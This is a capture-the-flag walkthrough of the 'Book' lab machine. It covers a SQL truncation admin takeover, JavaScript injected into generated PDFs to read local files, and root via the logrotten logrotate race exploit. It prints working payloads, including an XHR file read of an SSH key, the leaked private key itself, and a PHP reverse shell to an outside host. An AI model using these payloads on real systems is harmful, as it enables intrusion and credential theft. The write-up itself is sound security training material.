Quick Summary
β A fun box machine that was vulnerable to sql truncate
and local file read
via javascript injection. As the attacker I was able to get the admin by bypassing the limit characters of username
and password
. I created another account to send pdf files which contains javascript payloads which lead to local file read
from there I was able to get the SSH keys
of the user and use it to get in. To get root
access we find logrotten
which exploit a race condition and using that we can get a shell as root
Penetration Testing Methodologies
Network Scanning
β Nmap scan
β discover open ports and what services are running
Enumeration
β Found login
and registration
page
β username
& password
has set limit characters in registration form
β running dirsearch
to enumerate potential web directories
β Found admin
login page
Post - Exploitation
β abusing sql truncation
vulnerabilities and create account as admin using admin@htb
β go to file upload section that generating pdf
files.
β trying to inject malicious javascript
payloads to check if is vulnerable to local file read
vulnerabilities.
β local file read
vulnerabilities confirmed !
Exploitation
β create a malicious javascript files
which can get info of a user
which generated into pdf
β extract SSH keys
of a user and use it get in to shell
β finally got the user.txt
Privilege Escalation
β use pspy
to monitor running services
β Looking for exploit for logrotate
β compile logrotate
exploit and make a another payload for reverse shell
β execute the exploit with payload
β Finally got the root flag
Network Scanning
Walkthrough
β I always begin at NMAP to look on the services what is running. I always use
- -sV β Probe open ports to determine service/version info
- -sC β equivalent to βscript=default
- -A- β Agressive scan
- -oN β to save our scan results to a text file
# bash
nmap -sV -sC -A 10.10.10.176 -oN nmap-Book
|
# bash
root in htb/boxes/Book β― nmap -sV -sC -A 10.10.10.176 -oN nmap-Book Starting Nmap 7.80 ( https: Nmap scan report for 10.10.10.176 Host is up (0.25s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun No exact OS matches for host (If you know what OS is running on it, see https: TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=4/15%OT=22%CT=1%CU=40722%PV=Y%DS=2%DC=T%G=Y%TM=5E965A7 OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 250.00 ms 10.10.14.1 2 252.00 ms 10.10.10.176
OS and Service detection performed. Please report any incorrect results at https: Nmap done: 1 IP address (1 host up) scanned in 37.40 seconds
root in htb/boxes/Book took 37s β―
|
Nmap results
So thereβs only 2 port open.
- 22 β which is running a
SSH Client
- 80 β which basically a web service
Enumeration
The Book Website
Since thereβs web service I always looking that first
Itβs a login page and thereβs also a create account
I look at the source code and I found something useful, username
and password
has set to limit characters which can possibly vulnerable to sql truncation
<script> window.console = window.console || function(t) {}; </script> <script> if (document.location.search.match(/type=embed/gi)) { window.parent.postMessage("resize", "*"); } function validateForm() { var x = document.forms["myForm"]["name"].value; var y = document.forms["myForm"]["email"].value; if (x == "") { alert("Please fill name field. Should not be more than 10 characters"); return false; } if (y == "") { alert("Please fill email field. Should not be more than 20 characters"); return false; } } </script>
|
Thereβs also Contact us
where you can send message in admin@book.htb
Since thereβs no clue whatβs the next step hereβ i use dirsearch
to bruteforce web directories. This is the best thing to do to get hidden stuff on the site.
# bash
root in htb/boxes/Book β― python3 /opt/dirsearch/dirsearch.py -u "http://10.10.10.176" -e asd -t 20 --simple-report=directories.Book
_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| )
Extensions: asd | HTTP method: get | Threads: 20 | Wordlist size: 6109
Error Log: /opt/dirsearch/logs/errors-20-04-15_08-59-47.log
Target: http:
[08:59:48] Starting: [08:59:53] 403 - 277B - /.ht_wsr.txt [08:59:53] 403 - 277B - /.hta [08:59:53] 403 - 277B - /.htaccess-dev [08:59:53] 403 - 277B - /.htaccess-local [08:59:53] 403 - 277B - /.htaccess-marco [08:59:53] 403 - 277B - /.htaccess.BAK [08:59:53] 403 - 277B - /.htaccess.bak1 [08:59:53] 403 - 277B - /.htaccess.orig [08:59:53] 403 - 277B - /.htaccess.old [08:59:53] 403 - 277B - /.htaccess.sample [08:59:53] 403 - 277B - /.htaccess.save [08:59:53] 403 - 277B - /.htaccess.txt [08:59:53] 403 - 277B - /.htaccess_extra [08:59:53] 403 - 277B - /.htaccess_orig [08:59:53] 403 - 277B - /.htaccess_sc [08:59:53] 403 - 277B - /.htaccessBAK [08:59:53] 403 - 277B - /.htaccessOLD [08:59:53] 403 - 277B - /.htaccessOLD2 [08:59:53] 403 - 277B - /.htaccess~ [08:59:53] 403 - 277B - /.htgroup [08:59:53] 403 - 277B - /.htpasswd-old [08:59:53] 403 - 277B - /.htpasswd_test [08:59:53] 403 - 277B - /.htpasswds [08:59:53] 403 - 277B - /.htusers [09:00:03] 301 - 312B - /admin -> http: [09:00:04] 200 - 6KB - /admin/ [09:00:04] 403 - 277B - /admin/.htaccess [09:00:04] 200 - 6KB - /admin/?/login [09:00:05] 302 - 0B - /admin/home.php -> index.php [09:00:06] 200 - 6KB - /admin/index.php [09:00:29] 403 - 277B - /docs/ [09:00:29] 301 - 311B - /docs -> http: [09:00:35] 302 - 0B - /home.php -> index.php [09:00:36] 301 - 313B - /images -> http: [09:00:38] 200 - 7KB - /index.php [09:00:38] 200 - 7KB - /index.php/login/ [09:00:59] 403 - 277B - /server-status [09:00:59] 403 - 277B - /server-status/ [09:01:00] 302 - 0B - /settings.php -> index.php Task Completed
root in htb/boxes/Book took 1m27s β―
|
So thereβs admin
page here. I try to bypass it using basic sql injection but itβs not working :
Post - Exploitation
Abusing SQL Truncate
remember the registration page that has set limit characters ? The MySQL truncation attack is based on the behaviour of the server when managing special characters like spaces
.
In this case if the user send admin@book.htb a
the database is going to check if emai are already use by another user. And if not, it is going to cut the username that has max to 20 characters
and save a new entry. Because of that I can easily change the admin password. The query is something like this :
POST / HTTP/1.1 Host: 10.10.10.176 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.176/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 64 DNT: 1 Connection: close Cookie: PHPSESSID=eqqo5jp5sildltc2drfng6gn6c Upgrade-Insecure-Requests: 1
name=medz&email=admin a%40book.htb a&password=admin1234
|
and the response was :
HTTP/1.1 302 Found Date: Wed, 15 Apr 2020 21:54:48 GMT Server: Apache/2.4.29 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: index.php Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
|
We can now stop the burp suite tool. (Do not follow redirect, sometime it will not work)
Using the create account
page, I manage to change the password of admin
to password admin1234
and now I can use admin
account :
Exploitation
Local File Read via PDF
Now that Iβm the admin the most interesting part is the Collections
page where you can download pdf
file which contains the name of a users
or the collections
name.
So, as a PDF
is being dynamically created for every user, we can control the part of the input. Like performing XSS Attack
to generated pdf
.
the payload is look like this to get the valid user
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
|
next is to download the generated pdf
. The pdf contains /etc/passwd
info, meaning I confirmed the local file read
vulnerabilities
Now we get the valid user reader
Creating javascript payloads
From this article we can perform local file read
and try to get SSH keys
the payload is look like this :
x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
|
Now we will try reupload it again :
After that go back to collections
and download the generated pdf
file.
Opening the pdf it contains the SSH keys
of the user
-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0 WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0 ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s 7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK 75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7 3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+ McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz 7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6 GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/ ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+ SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi 5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4= -----END RSA PRIVATE KEY-----
|
Grab the user flag
Finally I can now login using SSH
and the get the user.txt
:
# bash
root in htb/boxes/Book via β¬’ v10.17.0 β― ssh -v -i id_rsa reader@10.10.10.176 OpenSSH_8.1p1 Debian-1, OpenSSL 1.1.1d 10 Sep 2019 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug1: Connecting to 10.10.10.176 [10.10.10.176] port 22. debug1: Connection established. debug1: identity file id_rsa type -1 debug1: identity file id_rsa-cert type -1 debug1: Local version string SSH-2.0-OpenSSH_8.1p1 Debian-1 debug1: Remote protocol version 2.0, remote software version OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 debug1: match: OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 pat OpenSSH_7.0*,OpenSSH_7.1*,OpenSSH_7.2*,OpenSSH_7.3*,OpenSSH_7.4*,OpenSSH_7.5*,OpenSSH_7.6*,OpenSSH_7.7* compat 0x04000002 debug1: Authenticating to 10.10.10.176:22 as 'reader' debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256 debug1: kex: host key algorithm: ecdsa-sha2-nistp256 debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ecdsa-sha2-nistp256 SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk The authenticity of host '10.10.10.176 (10.10.10.176)' can't be established. ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.176' (ECDSA) to the list of known hosts. debug1: rekey out after 134217728 blocks debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: rekey in after 134217728 blocks debug1: Will attempt key: id_rsa explicit debug1: SSH2_MSG_EXT_INFO received debug1: kex_input_ext_info: server-sig-algs=<ssh-ed25519,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521> debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Trying private key: id_rsa debug1: Authentication succeeded (publickey). Authenticated to 10.10.10.176 ([10.10.10.176]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending environment. debug1: Sending env LANG = en_US.utf8 Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https: * Management: https: * Support: https:
System information as of Wed Apr 15 22:46:04 UTC 2020
System load: 0.0 Processes: 159 Usage of /: 28.3% of 19.56GB Users logged in: 2 Memory usage: 40% IP address for ens33: 10.10.10.176 Swap usage: 0%
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https:
114 packages can be updated. 0 updates are security updates.
Failed to connect to https:
Last login: Wed Apr 15 20:30:55 2020 from 10.10.14.220 reader@book:~$
reader@book:~$ whoami reader reader@book:~$ hostname book reader@book:~$ ls backups backups1 logrotten lse.sh psp user.txt reader@book:~$ cut -c 4-12 user.txt d4b5197fa reader@book:~$
|
Privilege Escalation
Getting Root Access
In our user reader
there is a backups folder in the home directory :
reader@book:~$ ls backups logrotten lse.sh psp user.txt reader@book:~$
|
then I check whatβs inside on the backup folder :
reader@book:~$ ls -la backups/ total 12 drwxr-xr-x 2 reader reader 4096 Apr 15 21:38 . drwxr-xr-x 9 reader reader 4096 Apr 15 21:38 .. -rw-r--r-- 1 reader reader 0 Apr 15 21:38 access.log -rw-r--r-- 1 reader reader 91 Apr 15 21:38 access.log.1 lrwxrwxrwx 1 reader reader 22 Apr 15 18:48 bash_completion.d -> /etc/bash_completion.d reader@book:~/backups$ cat access.log.1 192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"
|
so thereβs a log file which can be a logs by another user. To monitor the services running on the target machine I use pspy
:
2020/04/14 10:17:39 CMD: UID=0 PID=78202 | sleep 5 2020/04/14 10:17:44 CMD: UID=0 PID=78205 | /usr/sbin/logrotate -f /root/log.cfg 2020/04/14 10:17:44 CMD: UID=0 PID=78204 | /bin/sh /root/log.sh 2020/04/14 10:17:44 CMD: UID=0 PID=78206 | sleep 5
|
If logrotate is running as root, and ordinary users have write access to the log files polled by logrotate, then there is a vulnerability exploit that can increase rights.
Iβve first verify that access.log is a polled file and write 10M random bitstream data to it :
reader@book:~/backups$ head -c 10M < /dev/urandom > access.log reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Jan 29 13:05 . drwxr-xr-x 7 reader reader 4096 Jan 29 13:05 .. -rw-r--r-- 1 reader reader 10485760 Apr 15 02:35 access.log -rw-r--r-- 1 reader reader 91 Jan 29 13:05 access.log.1 reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Apr 15 02:35 . drwxr-xr-x 7 reader reader 4096 Jan 29 13:05 .. -rw-r--r-- 1 reader reader 0 Apr 15 02:35 access.log -rw-r--r-- 1 reader reader 10485760 Apr 15 02:35 access.log.1 -rw-r--r-- 1 reader reader 91 Jan 29 13:05 access.log.2
|
Confirmed ! Itβs written another access.log.2
log file .
Logrotten
I downloaded the logrotate exploit from github to my machine, compile then transfer to book machine :
Compile logrotten
root in htb/boxes/Book via β¬’ v10.17.0 β― gcc -o logrotten logrotten.c
|
Payload for Reverse Shell
then I create another payload for revershell shell :
root in htb/boxes/Book via β¬’ v10.17.0 took 5m35s β― cat payloadfile php -r '$sock=fsockopen("10.10.14.121",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
root in htb/boxes/Book via β¬’ v10.17.0 β―
|
Transfer it to target machine using wget
and execute it :
reader@book:/tmp$ ./logrotten -p ./payloadfile /home/reader/backups/access.log -d logfile: /home/reader/backups/access.log logpath: /home/reader/backups logpath2: /home/reader/backups2 targetpath: /etc/bash_completion.d/access.log targetdir: /etc/bash_completion.d p: access.log Waiting for rotating /home/reader/backups/access.log... Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload... Done! reader@book:/tmp$
|
Next i check the /etc/bash_completion.d
and my payload is written there :
reader@book:/etc/bash_completion.d$ ls access.log access.log-2020041722.backup apport_completion cloud-init git-prompt grub
reader@book:/tmp$ cat /etc/bash_completion.d/access.log php -r '$sock=fsockopen("10.10.14.121",4444);exec("/bin/sh -i <&3 >&3 2>&3");' reader@book:/tmp$
|
I executed again the exploit and payload and at the same time I setup a ncat
listener from my machine. Finally got the root access butβs it will hangup immediately :
root in htb/boxes/Book via β¬’ v10.17.0 β― nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.121] from (UNKNOWN) [10.10.10.176] 42610 # id uid=0(root) gid=0(root) groups=0(root) # ls clean_backup.sh clean.sh cron_root log.cfg log.sh reset.sh root.txt # cat root.txt Hangup
|
Executed it again and get the root flag
root in htb/boxes/Book via β¬’ v10.17.0 took 1m17s β― nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.121] from (UNKNOWN) [10.10.10.176] 42626 # cut -c 4-12 root.txt 92adf998 # Hangup
root in htb/boxes/Book via β¬’ v10.17.0 took 55s β―
|
If you liked my writeup please leave a respect on my Profile
Referrences:
Logrotten Exploit
Server Side XSS - Dynamic PDF
Local File Read via XSS